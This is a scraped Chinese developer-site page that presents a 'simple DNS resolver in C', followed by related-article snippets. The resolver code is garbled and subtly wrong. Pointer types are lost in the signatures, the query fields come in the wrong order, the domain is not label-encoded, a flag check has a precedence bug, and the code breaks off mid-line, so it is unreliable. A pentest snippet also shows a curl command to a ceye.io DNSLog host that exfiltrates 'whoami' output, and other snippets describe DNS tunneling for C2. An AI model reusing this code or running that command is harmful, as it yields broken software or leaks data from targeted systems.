首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

需要在C中构建简单的DNS解析器

在C语言中构建一个简单的DNS解析器需要了解DNS协议的基本原理和相关的库函数。以下是一个简单的示例,使用了C语言的socket库和hdr库来实现DNS查询。

首先,需要了解DNS协议的基本原理。DNS(域名系统)是一个用于将域名转换为IP地址的互联网服务。DNS查询通常使用UDP协议,端口号为53。DNS查询包含一个问题部分和一个回答部分。问题部分包含所需解析的域名和查询类型(如A记录、MX记录等),回答部分包含查询到的IP地址等信息。

以下是一个简单的C语言DNS解析器示例:

代码语言:c
复制

#include<stdio.h>

#include <stdlib.h>

#include<string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#define DNS_SERVER "8.8.8.8" // 使用谷歌的DNS服务器

#define DNS_PORT 53

#define MAX_BUFFER_SIZE 1024

// 构建DNS查询包

unsigned char build_dns_query(const char domain, int *query_size) {

代码语言:txt
复制
unsigned char *query = (unsigned char *)malloc(MAX_BUFFER_SIZE);
代码语言:txt
复制
int idx = 0;
代码语言:txt
复制
// 标识符
代码语言:txt
复制
query[idx++] = (rand() % 256);
代码语言:txt
复制
query[idx++] = (rand() % 256);
代码语言:txt
复制
// 标志
代码语言:txt
复制
query[idx++] = 0x01;
代码语言:txt
复制
query[idx++] = 0x00;
代码语言:txt
复制
// 查询记录数
代码语言:txt
复制
query[idx++] = 0x00;
代码语言:txt
复制
query[idx++] = 0x01;
代码语言:txt
复制
// 查询类型:A记录
代码语言:txt
复制
query[idx++] = 0x00;
代码语言:txt
复制
query[idx++] = 0x01;
代码语言:txt
复制
// 类别:Internet
代码语言:txt
复制
query[idx++] = 0x00;
代码语言:txt
复制
query[idx++] = 0x01;
代码语言:txt
复制
// 域名
代码语言:txt
复制
int len = strlen(domain);
代码语言:txt
复制
for (int i = 0; i < len; ++i) {
代码语言:txt
复制
    query[idx++] = domain[i];
代码语言:txt
复制
}
代码语言:txt
复制
query[idx++] = 0x00;
代码语言:txt
复制
*query_size = idx;
代码语言:txt
复制
return query;

}

// 解析DNS回答包

int parse_dns_response(unsigned char response, int response_size, char ip) {

代码语言:txt
复制
int idx = 0;
代码语言:txt
复制
// 跳过标识符
代码语言:txt
复制
idx += 2;
代码语言:txt
复制
// 检查标志
代码语言:txt
复制
if ((response[idx++] << 8) | response[idx++] != 0x8180) {
代码语言:txt
复制
    return -1;
代码语言:txt
复制
}
代码语言:txt
复制
// 跳过查询记录数和查询类型
代码语言:txt
复制
idx += 4;
代码语言:txt
复制
// 跳过回答记录数
代码语言:txt
复制
int answer_count = (response[idx++] << 8) | response[idx++];
代码语言:txt
复制
// 解析回答记录
代码语言:txt
复制
for (int i = 0; i< answer_count; ++i) {
代码语言:txt
复制
    // 跳过域名
代码语言:txt
复制
    while (response[idx++] != 0x00) {}
代码语言:txt
复制
    // 读取记录类型和类别
代码语言:txt
复制
    int type = (response[idx++] << 8) | response[idx++];
代码语言:txt
复制
    int class = (response[idx++] << 8) | response[idx++];
代码语言:txt
复制
    // 检查类型和类别
代码语言:txt
复制
    if (type == 0x0001 && class == 0x0001) {
代码语言:txt
复制
        // 跳过TTL
代码语言:txt
复制
        idx += 4;
代码语言:txt
复制
        // 读取IP地址长度
代码语言:txt
复制
        int ip_len = response[idx++];
代码语言:txt
复制
        // 读取IP地址
代码语言:txt
复制
        for (int j = 0; j < ip_len; ++j) {
代码语言:txt
复制
            sprintf(ip + j * 3, "%d.", response[idx++]);
代码语言:txt
复制
        }
代码语言:txt
复制
        ip[ip_len * 3 - 1] = '\0';
代码语言:txt
复制
        return 0;
代码语言:txt
复制
    } else {
代码语言:txt
复制
        // 跳过TTL和IP地址长度
代码语言:txt
复制
        idx += 5;
代码语言:txt
复制
        // 跳过IP地址
代码语言:txt
复制
        int ip_len = response[idx++];
代码语言:txt
复制
        idx += ip_len;
代码语言:txt
复制
    }
代码语言:txt
复制
}
代码语言:txt
复制
return -1;

}

int main(int argc, char *argv[]) {

代码语言:txt
复制
if (argc != 2) {
代码语言:txt
复制
    printf("Usage: %s<domain>\n", argv[0]);
代码语言:txt
复制
    return 1;
代码语言:txt
复制
}
代码语言:txt
复制
const char *domain = argv[1];
代码语言:txt
复制
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
代码语言:txt
复制
if (sockfd < 0) {
代码语言:txt
复制
    perror("socket");
代码语言:txt
复制
    return 1;
代码语言:txt
复制
}
代码语言:txt
复制
struct sockaddr_in servaddr;
代码语言:txt
复制
memset(&servaddr, 0, sizeof(servaddr));
代码语言:txt
复制
servaddr.sin_family = AF_INET;
代码语言:txt
复制
servaddr.sin_port = htons(DNS_PORT);
代码语言:txt
复制
if (inet_pton(AF_INET, DNS_SERVER, &servaddr.sin_addr) <= 0) {
代码语言:txt
复制
    perror("inet_pton");
代码语言:txt
复制
    return 1;
代码语言:txt
复制
}
代码语言:txt
复制
if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) {
代码语言:txt
复制
    perror("connect");
代码语言:txt
复制
    return 1;
代码语言:txt
复制
}
代码语言:txt
复制
int query_size;
代码语言:txt
复制
unsigned char *query = build_dns_query(domain, &
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

理解DNS记录以及在渗透测试简单应用

服务器哪一个是主服务器。...如果缓存没有的话,ISPDNS会从配置文件里面读取13个根域名服务器地址(这些地址是不变,直接在BIND配置文件)。 5. 然后像其中一台发起请求。 6....简单理解就是在某些无法直接利用漏洞获得回显情况下,但是目标可以发起DNS请求,这个时候可以通过这种方式把想获得数据外带出来。 Dnslog基本原理 ?...先用自己vps简单演示一下: 比如:curl http://ip.port.b182oj.ceye.io/whoami 这个时候需要根据实际情况对payload进行替换,ip 、port、 Identifier...articles/7353974.html https://blog.csdn.net/weixin_41545330/article/details/80865676 https://blog.csdn.net/c465869935

2.3K20

C#Socket简单使用

大家好,又见面了,我是你们朋友全栈君。 以前学过Socket,后来没怎么用过,就基本忘了,所以闲来时重新回顾学习一番....一.Socket概念 Socket其实并不是一个协议,而是为了方便使用TCP或UDP而抽象出来一层,是位于应用层和传输控制层之间一组接口....双向通信连接实现数据交换,连接一端成为一个Socket....传输协议(用什么样方式进行交互) 常见协议:TCP(面向连接,提供可靠服务),UDP(无连接,传输速度快) 三.Socket通信流程 四.C#Socket简单使用步骤 第一步:服务端监听某个端口...客户端向服务端地址和端口发起Socket请求 第三步:服务器接收连接请求后创建Socket连接,并维护这个连接队列 第四步:客户端和服务端就建立起了双工同信,客户端与服务端就可以实现彼此发送消息 五.简单代码实例

94320
  • 【编程基础】C++初学者掌握10个C++特性(

    C++11通过引入了一个称为强类型枚举新类型,修正了这种情况。强类型枚举由关键字enum class标识。...它被用来打破依赖循环(想象在一个tree结构,父节点通过一个共享所有权引用(chared_ptr)引用子节点,同时子节点又必须持有父节点引用。...除了会产生额外开销,还可能会导致内存泄漏。在下面这个例子,如果seed()抛出一个错误就会产生内存泄漏。...Lambdas 匿名函数(也叫lambda)已经加入到C++,并很快异军突起。这个从函数式编程借来强大特性,使很多其他特性以及类库得以实现。...对C类型数组重载已经包含在标准库中了。 我们还用上一个例子代码来说明,在这个例子我打印了一个数组然后查找它第一个偶数元素。如果std::vector被替换成C类型数组。

    82640

    C scanf() 和 fscanf() – 简单而强大

    即,  输入:“这是值 100”,  输出:读取值是 100 输入:“这是值 21.2”,  输出:读取值是 21.2 /* C 程序来演示我们可以忽略 scanf() 某些字符串 */ #include.../* 示例 C 程序来演示 *s 使用 */ #include int main() { int a; scanf("%*s %d", &a); printf...乍一看,上述事实似乎不是一个有用技巧。为了理解它用法,我们先来看看fscanf()。 fscanf(): 厌倦了从文件读取所有笨拙语法?好吧, fscanf 来救援。 ...fscanf 从 FILE 指针 (ptr) 指向文件读取,而不是从输入流读取。...fscanf 和上面提到技巧组合可以轻松做到这一点 /*c 程序演示 fscanf 及其用法*/ #include int main() { FILE* ptr = fopen

    94900

    C简单异步记录器

    C简单异步记录器 C简单异步记录器 介绍 背景 使用代码 数据封装 编写日志条目 未来工作 兴趣点 历史 许可证 关于作者 源代码 C简单异步记录器 本文翻译自CodeProject...上面的一篇博客A Simple Asynchronous Logger in C# 作者:Toby Patke 2020年5月24日 Ms-PL 6分钟阅读 Clearcove.Logging是一个非常简单日志记录库...如果您要在.NET寻找日志记录库,则有很多选择。 这里有NLog,Log4Net,Enterprise Logging,Serilog和Common.Logging,仅举几例。...添加带有单独许可条款第三方组件可能意味着需要额外工作来评估我产品。 也许这只是妄想症,但我想保持简单。 我以为这些要求很简单,但是事实证明我找不到满足我需求任何东西。...此调用可能不是对日志文件进行多次写操作最有效方法,但其选择是基于保持代码尽可能简单愿望。 所以你有它。一个非常简单日志记录实现,完全能够满足大多数应用程序日志记录需求。

    65720

    Domainim:一款高效企业级网络安全扫描工具

    检测通配符子域名(用于暴力破解); 7、接受子域名作为输入; 8、支持将结果导出到JSON文件; 工具要求 最新版本Nim环境 工具安装 由于该工具基于纯Nim开发,因此我们首先需要在本地设备上安装并配置好最新版本...接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地: git clone https://github.com/pptx704/domainim.git 然后切换到项目目录,使用nimble...命令构建项目代码: cd domainim nimble build 构建完成后,直接运行代码文件即可: ....需要执行子域名爆破测试字典文件路径 -d, --dns DNS解析器IP和端口,[默认: system default] -r,...--rps 每秒发送DNS查询DNS,[默认: 1024 req/s] -o, --out 存储输出JSON文件路径,文件名包含

    9110

    干货 | 季节性分析才不简单,小心不要在随机数据也分析出季节性

    AI 科技评论按:这篇文章来自 Automattic 数据科学家 Carly Stambaugh,她研究了一个看似简单问题:分析序列数据季节性。...「季节性」说起来很简单,但是真的分析时候,你要如何知道你分析出季节性是切实存在呢?雷锋网 AI 科技评论全文编译如下。 ? 最近有人找我帮忙,具体是要某个时间序列「季节性」程度如何。...• 给出了如何移除时间序列季节性成分,从而在构建预测模型之前可以先拥有一个稳定时间序列。 此外,每个例子都以「这是一个季节性趋势时间序列」开头。...神圣周期,蝙蝠侠! 它竟然也显示出了周期性!不过,如果仔细查看每个成分 y 轴,就能注意到噪声成分在随机时间序列具有最大范围。...在差分,你基本上是减去最相关先前值来考虑趋势。 例如,从时间序列删除一个「向右上方」趋势,本质上就是将图形在平面上旋转,留下「向右走」,但消掉「向上走」。

    94210

    干货 | 季节性分析才不简单,小心不要在随机数据也分析出季节性

    AI 科技评论按:这篇文章来自 Automattic 数据科学家 Carly Stambaugh,她研究了一个看似简单问题:分析序列数据季节性。...「季节性」说起来很简单,但是真的分析时候,你要如何知道你分析出季节性是切实存在呢?雷锋网 AI 科技评论全文编译如下。 ? 最近有人找我帮忙,具体是要某个时间序列「季节性」程度如何。...• 给出了如何移除时间序列季节性成分,从而在构建预测模型之前可以先拥有一个稳定时间序列。 此外,每个例子都以「这是一个季节性趋势时间序列」开头。...神圣周期,蝙蝠侠! 它竟然也显示出了周期性!不过,如果仔细查看每个成分 y 轴,就能注意到噪声成分在随机时间序列具有最大范围。...在差分,你基本上是减去最相关先前值来考虑趋势。 例如,从时间序列删除一个「向右上方」趋势,本质上就是将图形在平面上旋转,留下「向右走」,但消掉「向上走」。

    3.1K20

    【专题教程第8期】基于emWin模拟器USB BULK上位机开发,仅C即可,简单易实现

    说明: 1、如果你会emWin话,就可以轻松制作上位机。做些通信和控制类上位机,比使用C#之类方便程度一点不差,而且你仅会C语言就可以。...同时,上位机设计需要用到各种文档、软件、驱动等,都在教程中都给出了下载地址。 4、教程中将USB BULK上位机和下位机设计涉及到细节问题,全部毫无保留进行了说明,可以防止大家少走很多弯路。...当然,使用最新版 MDK5.2X 也是没问题,      在Options -> C/C++ -> Misc Controls选项里面添加--diag_suppress 3731即可。...,简单易用 ?...USB上位机教程文档: 专题教程第8期:基于emWin模拟器USB BULK上位机开发,仅C即可,简单易实现.pdf 教程目录: ?

    1.3K20

    深入理解C++Vector容器:用容器构建高效程序

    vector介绍 在C++语言包含有公共数据结构实现,C++这个部分内容就是众所周知STL(标准模版库),vector就是标准模板库数据结构之一。...一个库函数) void test_vector11() { vector v1{ 1,2,3,4 }; vector::iterator pos = find(v1.begin...在普通数组不能进行复制操作,但是vector容器就支持复制操作,当我们需要复制一个容器时候不需要用一个循环一个一个赋值,只需要用一个运算符重载=,就可以将容器值拷贝到另一个容器当中。...总结 在这篇关于“容器vector”博客,我们深入探讨了 C++ 这个强大数据结构。...让我们继续深入学习和探索,掌握更多 C++ 强大工具和技术,不断提升自己编程能力。感谢阅读!

    6210

    C++如何简单快速去除容器重复元素

    假设在vector strs中有一些单词(全小写),包含重复出现元素,现在需要统计其中出现过哪些单词,那么有什么简单高效去除方法呢?...这里推荐两种方法: 一种是用algorithm函数 先用sort排序,让重复元素相邻,再用unique把重复元素移至容器末尾,最后用erase把末尾重复元素删除。...,缺点是原容器strs不会发生改变,只是把去重复结果放进了se。...注意:这两种方法虽然简单,但都可能会改变strs中元素相对顺序,如果不想改变相对顺序,可以用下面这个方法。...把strs中元素依次存入set容器,如果某个元素存入失败,就从strs把这个元素删除。即可达到不改变顺序去除strs重复元素。

    2.6K10

    如何关闭一个开放DNS解析器

    我们在之前教程创建DNS服务器是一个开放DNS解析器。开放解析器不会过滤任何来源请求,并会接受来自所有IP查询。...在另外场合下称作DNS放大攻击,开放DNS服务器很容易就会成为攻击对象。 根据openresolverproject.org,除非有必要,运行一个开放解析器是不明智。...如果应答不在服务器缓存,服务器会与根服务器通信并获得授权域名服务器。服务器会不停查询知道获得结果,或者请求超时。...smurfmonitor 仓库提供了强大一组可以用于开放解析器iptables规则,比如阻止来自DNS放大攻击域名解析请求。这个仓库会定期地更新,强烈建议DNS服务器管理员使用它。...总的来说,对于开放DNS解析器攻击是很常见,特别是对于没有适当安全防护DNS服务器而言。这个教程延时了如何禁止一个开放DNS服务器。

    3.6K10

    使用 Errbot 在 Python 构建一个简单聊天机器人

    errbot 最重要功能是它可以连接到您想要任何聊天服务器,并具有一系列功能。它甚至可以连接到您松弛和不和谐频道并与用户互动。 现在您知道我们正在处理什么,让我们开始吧。...好了,现在您已经安装了 errbot,是时候在目录设置所需所有文件了。 让我们首先创建一个目录。 mkdir chatbot 现在,让我们进入目录。...编写插件 当你输入“errbot –init”命令时,它会设置一个名为插件目录,我们将在那里构建我们目录。 首先,让我们进行正确进口。...errbot 在 Python 构建和设置聊天机器人基础知识。...结论 Errbot还有大量其他功能可供开发人员和管理员使用。它们每一个都以结构方式记录在 Errbot 官方文档页面

    35730

    恶意代码分析:3.利用DNS隧道进行跟踪和扫描

    然而,我们最近检测到三起近期利用DNS隧道技术进行非传统C2(命令与控制)和V*N(虚拟私人网络)用途活动: 扫描(scanning): 在扫描过程,攻击者利用DNS隧道技术扫描受害者网络基础设施...我们已构建了一个用于监控DNS隧道传输系统,并将此检测功能嵌入到我们DNS安全解决方案。...三.跟踪DNS隧道 在传统C2通信中,为了追踪受害者行为,威胁攻击者恶意软件会将用户行为数据嵌入到URL,并通过网络流量将这些URL传输到C2服务器。...一旦攻击者权威名称服务器(c.secshow[.]net)接收到DNS查询,他们就可以获取传入解析器IP地址和用于此查询编码源IP地址。...攻击者使用不同伪造IP地址重复此过程,并发现网络开放解析器以及这些开放解析器服务IP地址。这可能是DNS欺骗、DNS缓存投毒或DNS洪水攻击第一步。

    18410

    DNS C2

    由于 DNS 不需要直接“视线”网络,因此它通常可用于从高度受限网络通过隧道传输出去,如果环境没有专门检测 DNS C2,它很可能不会被检测到。...DNS 解析器通常会忽略 TTL 值、修改查询内容、丢弃数据包以及在响应撒谎。...由于我们无法控制在操作环境可能需要使用哪些解析器,并且我们希望构建可靠 C2 连接,因此我们必须期待这种类型行为并围绕它进行设计。...因此,如果某些粗鲁解析器将我们其中一个QNAMEs 所有字符转换为小写,那么使用像 Base64 这样区分大小写编码可能并不总是安全。...为了检测解析器是否损坏了我们消息任何字节,权威名称服务器将其接收到数据CRC32A编码到它接收到任何记录 IP 地址

    1.1K00

    网络拾遗之 DNS协议:网络世界地址簿

    在前几篇文章 网络通信之生成HTTP消息 网络通信之IP地址 我们讲到,客户端要和服务端进行通信,需要在「客户端」(一般为浏览器)进行数据信息封装。如下格式。...Socket 库提供查询 IP 地址功能 查询 IP 地址方法非常简单,只要询问「最近」 DNS 服务器“www. wl.com IP 地址是什么”就可以了,DNS 服务器会回答说“该 服务器...❝根据域名查询 IP 地址时,浏览器会使用 Socket 库解析器」 ❞ 解析器内部原理 浏览器调用解析器时,程序控制流程就会转移到解析器「内部」。...如果一个数据中心因为某种原因挂了,只要在 DNS 服务器里面,将这个数据中心对应 IP 地址删除,就可以实现一定高可用。...IP 地址,进行简单轮询,实现「简单负载均衡」 但是对于「复杂应用」,尤其是跨地域跨运营商大型应用,则需要更加复杂全局负载均衡机制,因而需要「全局负载均衡器」(GSLB,Global Server

    1.1K30
    领券